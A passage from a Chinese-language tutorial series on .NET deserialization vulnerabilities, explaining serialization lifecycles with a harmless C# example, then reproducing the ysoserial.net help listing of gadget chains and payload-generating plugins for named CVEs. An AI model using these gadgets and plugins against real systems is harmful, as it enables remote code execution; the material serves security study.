首先确定formatter是否有代理选择器,如果有则检查代理选择器要处理的对象类型是否和给定的对象类型一致,如果一致,代理选择器会调用`ISerializable.GetObjectData()`。 132 | 2. 如果没有代理选择器,或者代理选择器不处理该对象类型,则检查对象是否有`[Serializable]`特性。如果不能序列化则抛出异常。 133 | 3. 检查该对象是否实现ISerializable接口,如果实现就调用其GetObjectData方法。 134 | 4. 如果没实现ISerializable接口就使用默认的序列化策略,序列化所以没标记`[NonSerialized]`的字段。 135 | 136 | 而在序列化和反序列化的过程中还有四个回调事件 137 | 138 | | 特性 | 调用关联的方法时 | 典型用法 | 139 | | :----------------------------------------------------------- | :--------------- | :------------------------------------ | 140 | | [OnDeserializingAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.ondeserializingattribute) | 反序列化之前 | 初始化可选字段的默认值。 | 141 | | [OnDeserializedAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.ondeserializedattribute) | 反序列化之后 | 根据其他字段的内容修改可选字段值。 | 142 | | [OnSerializingAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.onserializingattribute) | 序列化之前 | 准备序列化。 例如,创建可选数据结构。 | 143 | | [OnSerializedAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.onserializedattribute) | 序列化之后 | 记录序列化事件。 | 144 | 145 | 可以根据几个具体的案例来看序列化和反序列化的生命周期 146 | 147 | ```csharp 148 | using System; 149 | using System.IO; 150 | using System.Runtime.Serialization; 151 | using System.Runtime.Serialization.Formatters.Binary; 152 | using System.Security.Permissions; 153 | 154 | namespace NetSerializer 155 | { 156 | [Serializable] 157 | public class MyObject : ISerializable 158 | { 159 | public string str { get; set; } 160 | public MyObject() 161 | { 162 | } 163 | //实现了ISerializable接口的类必须包含有序列化构造函数,否则会出错。 164 | protected MyObject(SerializationInfo info, StreamingContext context) 165 | { 166 | Console.WriteLine("MyObject(SerializationInfo info, StreamingContext context)"); 167 | str = info.GetString("str"); 168 | } 169 | 170 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)] 171 | public virtual void GetObjectData(SerializationInfo info, StreamingContext context) 172 | { 173 | Console.WriteLine("GetObjectData of MyObject.class"); 174 | info.AddValue("str", str, typeof(string)); 175 | } 176 | 177 | [OnDeserializing] 178 | private void TestOnDeserializing(StreamingContext sc) 179 | { 180 | Console.WriteLine("TestOnDeserializing"); 181 | 182 | } 183 | [OnDeserialized] 184 | private void TestOnDeserialized(StreamingContext sc) 185 | { 186 | Console.WriteLine("TestOnDeserialized"); 187 | } 188 | [OnSerializing] 189 | private void TestOnSerializing(StreamingContext sc) 190 | { 191 | Console.WriteLine("TestOnSerializing"); 192 | } 193 | [OnSerialized] 194 | private void TestOnSerialized(StreamingContext sc) 195 | { 196 | Console.WriteLine("TestOnSerialized"); 197 | } 198 | } 199 | class MySerializationSurrogate : ISerializationSurrogate 200 | { 201 | public void GetObjectData(object obj, SerializationInfo info, StreamingContext context) 202 | { 203 | Console.WriteLine("GetObjectData of ISerializationSurrogate"); 204 | info.AddValue("str", ((MyObject)obj).str); 205 | } 206 | 207 | public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) 208 | { 209 | Console.WriteLine("SetObjectData of ISerializationSurrogate"); 210 | MyObject m = new MyObject(); 211 | m.str = (string)info.GetValue("str", typeof(string)); 212 | return m; 213 | } 214 | } 215 | class Program 216 | { 217 | static void Main(string[] args) 218 | { 219 | try 220 | { 221 | MyObject myObject = new MyObject(); 222 | myObject.str = "hello"; 223 | 224 | using (MemoryStream memoryStream = new MemoryStream()) 225 | { 226 | // 构建formatter 227 | BinaryFormatter binaryFormatter = new BinaryFormatter(); 228 | 229 | // 设置序列化代理选择器 230 | SurrogateSelector ss = new SurrogateSelector(); 231 | ss.AddSurrogate(typeof(MyObject), binaryFormatter.Context, new MySerializationSurrogate()); 232 | // 赋值给formatter 这里是否设置代理选择器决定了序列化的生命周期 233 | binaryFormatter.SurrogateSelector = ss; 234 | // 序列化 235 | binaryFormatter.Serialize(memoryStream, myObject); 236 | // 重置stream 237 | memoryStream.Position = 0; 238 | myObject = null; 239 | // 反序列化 240 | myObject = (MyObject)binaryFormatter.Deserialize(memoryStream); 241 | Console.WriteLine(myObject.str); // hello 242 | } 243 | 244 | } 245 | catch (Exception e) 246 | { 247 | Console.WriteLine(e.StackTrace); 248 | } 249 | Console.ReadKey(); 250 | } 251 | } 252 | } 253 | ``` 254 | 255 | 这是一个使用了SurrogateSelector代理选择器的序列化例子,输出如下 256 | 257 | ```txt 258 | TestOnSerializing 259 | GetObjectData of ISerializationSurrogate 260 | TestOnSerialized 261 | TestOnDeserializing 262 | SetObjectData of ISerializationSurrogate 263 | TestOnDeserialized 264 | hello 265 | ``` 266 | 267 | 可以看到四个回调事件是只要进行声明就会执行。其中我们自己的代理选择器MySerializationSurrogate实现ISerializationSurrogate接口的两个方法。当我们设置了代理选择器时,它的生命周期就像打印的顺序一样。 268 | 269 | 270 | 271 | 当注释掉设置代理选择器的那行代码 272 | 273 | ```csharp 274 | //binaryFormatter.SurrogateSelector = ss; 275 | ``` 276 | 277 | 其输出是这样的 278 | 279 | ```txt 280 | TestOnSerializing 281 | GetObjectData of MyObject.class 282 | TestOnSerialized 283 | TestOnDeserializing 284 | MyObject(SerializationInfo info, StreamingContext context) 285 | TestOnDeserialized 286 | hello 287 | ``` 288 | 289 | 当对象其不实现ISerializable接口时,他的生命周期仅限于回调函数(使用dotnet默认序列化策略),输出如下: 290 | 291 | ```txt 292 | TestOnSerializing 293 | TestOnSerialized 294 | TestOnDeserializing 295 | TestOnDeserialized 296 | hello 297 | ``` 298 | 299 | 单独来看一下MyObject类的序列化构造函数 300 | 301 | ```csharp 302 | //实现了ISerializable接口的类必须包含有序列化构造函数,否则会出错。 303 | protected MyObject(SerializationInfo info, StreamingContext context) 304 | { 305 | Console.WriteLine("MyObject(SerializationInfo info, StreamingContext context)"); 306 | str = info.GetString("str"); 307 | } 308 | ``` 309 | 310 | SerializationInfo info变量中表示序列化流的信息,对象的类型和值都存储在其中,查看类定义 311 | 312 | ![image-20210420110242909](dotnet-serialize-101.assets/image-20210420110242909.png) 313 | 314 | 可见其存储了对象类型、成员个数、程序集名称、类型名称等,还有一些AddValue的重载用于添加类实例字段变量键值对。其实这个序列化构造函数在代理选择器中表现的更加明显: 315 | 316 | ```csharp 317 | class MySerializationSurrogate : ISerializationSurrogate 318 | { 319 | public void GetObjectData(object obj, SerializationInfo info, StreamingContext context) 320 | { 321 | Console.WriteLine("GetObjectData of ISerializationSurrogate"); 322 | info.AddValue("str", ((MyObject)obj).str); 323 | } 324 | 325 | public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) 326 | { 327 | Console.WriteLine("SetObjectData of ISerializationSurrogate"); 328 | MyObject m = new MyObject(); 329 | m.str = (string)info.GetValue("str", typeof(string)); 330 | return m; 331 | } 332 | } 333 | ``` 334 | 335 | 一个get一个set表示对象的序列化形式和反序列化重构时的处理方式。而非代理选择器只实现ISerializable接口的类只有GetObjectData,其类自身的序列化构造函数等同于代理选择器的SetObjectData。 336 | 337 | 此时用一张图表示序列化及反序列化完整的生命周期: 338 | 339 | ![image-20210420105228965](dotnet-serialize-101.assets/image-20210420105228965.png) 340 | 341 | # ysoserial.net 342 | 343 | 对于dotnet反序列化漏洞来讲,ysoserial.net是一个绕不过去的工具,而其使用的方法及其设计架构都是值得我们学习的东西。 344 | 345 | ysoserial.net主要分为formatter、gadget、plugin三个功能。 346 | 347 | ```txt 348 | == GADGETS == 349 | (*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored] 350 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter 351 | (*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class] (supports extra options: use the '--fullhelp' argument to view) 352 | Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter 353 | (*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] (supports extra options: use the '--fullhelp' argument to view) 354 | Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter 355 | (*) AxHostState 356 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter 357 | (*) ClaimsIdentity 358 | Formatters: BinaryFormatter , LosFormatter , SoapFormatter 359 | (*) DataSet 360 | Formatters: BinaryFormatter , LosFormatter , SoapFormatter 361 | (*) ObjectDataProvider (supports extra options: use the '--fullhelp' argument to view) 362 | Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0 363 | (*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)] 364 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter 365 | (*) RolePrincipal 366 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter 367 | (*) SessionSecurityToken 368 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter 369 | (*) SessionViewStateHistoryItem 370 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter 371 | (*) TextFormattingRunProperties [This normally generates the shortest payload] (supports extra options: use the '--fullhelp' argument to view) 372 | Formatters: BinaryFormatter , DataContractSerializer , LosFormatter , NetDataContractSerializer , SoapFormatter 373 | (*) ToolboxItemContainer 374 | Formatters: BinaryFormatter , LosFormatter , SoapFormatter 375 | (*) TypeConfuseDelegate 376 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer 377 | (*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono] 378 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer 379 | (*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)] (supports extra options: use the '--fullhelp' argument to view) 380 | Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2) 381 | (*) WindowsIdentity 382 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter 383 | (*) WindowsPrincipal 384 | Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter 385 | 386 | == PLUGINS == 387 | (*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object) 388 | (*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection) 389 | (*) ApplicationTrust (Generates XML payload for the ApplicationTrust class) 390 | (*) Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps) 391 | (*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822) 392 | (*) Resx (Generates RESX and .RESOURCES files) 393 | (*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class) 394 | (*) SharePoint (Generates poayloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421) 395 | (*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method) 396 | (*) ViewState (Generates a ViewState using known MachineKey parameters) 397 | ``` 398 | 399 | 查看其使用说明,可见众多gadget即gadget所支持的formatter。抽象一点说,formatter标志为反序列化入口,gadget是链条,而plugin是针对其他应用如SharePoint对于反序列化数据的加密解密做一个实现。 400 | 401 | # 后文 402 | 403 | 本系列其他文章将会分别讲解各个formatter,并在其中穿插gadget的具体原理,未涉及的gadget则会单独拿出来进行讲解。 -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/logo.png --------------------------------------------------------------------------------